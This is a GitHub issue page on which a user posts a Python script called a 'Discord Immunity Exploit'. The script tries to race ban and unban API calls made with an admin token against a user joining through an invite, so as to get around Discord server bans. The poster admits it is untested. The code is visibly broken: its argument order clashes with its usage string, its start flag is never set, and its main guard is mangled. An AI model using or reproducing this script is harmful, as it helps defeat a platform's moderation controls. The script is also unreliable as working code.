Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

possible poc??? #4

Open
swbnuhdfbdhwbhjdewuidhbw opened this issue Aug 24, 2022 · 0 comments
Open

possible poc??? #4

swbnuhdfbdhwbhjdewuidhbw opened this issue Aug 24, 2022 · 0 comments

Comments

@swbnuhdfbdhwbhjdewuidhbw

`# Discord Immunity Exploit

Orignal Exploit By: dehoisted | https://github.com/dehoisted

Author: psn#0001 | https://github.com/9yp

import sys
import requests
import threading
def main() -> None:
if len(sys.argv) < 4:
print("python3 exploit.py <admin_token> <user_token> <user_id> <server_id> <server_invite>")
sys.exit()
start = 'False'
admin_token = sys.argv[1]
user_token = sys.argv[2]
serverid = sys.argv[3]
userid = sys.argv[4]
serverinvite = sys.argv[5]
def admin_thread(token, server, userr):
print("[!] Admin Thread Ready")
while True:
if start == 'True':
r=requests.put(f"https://discord.com/api/v9/guilds/{server}/bans/{userr}", headers={"Authorization": token}).status_code
print(f"[+] Ban Request Sent | {r}")
r=requests.delete(f"https://discord.com/api/v9/guilds/{server}/bans/{userr}", headers={"Authorization": token}).status_code
print(f"[+] Unban Request Sent | {r}")
break
def user_thread(token, inv):
print("[!] User Thread Ready")
while True:
if start == 'True':
r=requests.post(f"https://discordapp.com/api/v6/invite/{inv}", headers={"Authorization": token}).status_code
print(f"[+] Join Request Sent | {r}")
break
print("[*] Starting Threads")
threading.Thread(target=admin_thread, args=(admin_token, serverid, userid, )).start()
threading.Thread(target=user_thread, args=(user_token, serverinvite)).start()
if name == "main":
main()`

tbh bro idk if this would work or not but i was bored as hell nd this should work

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant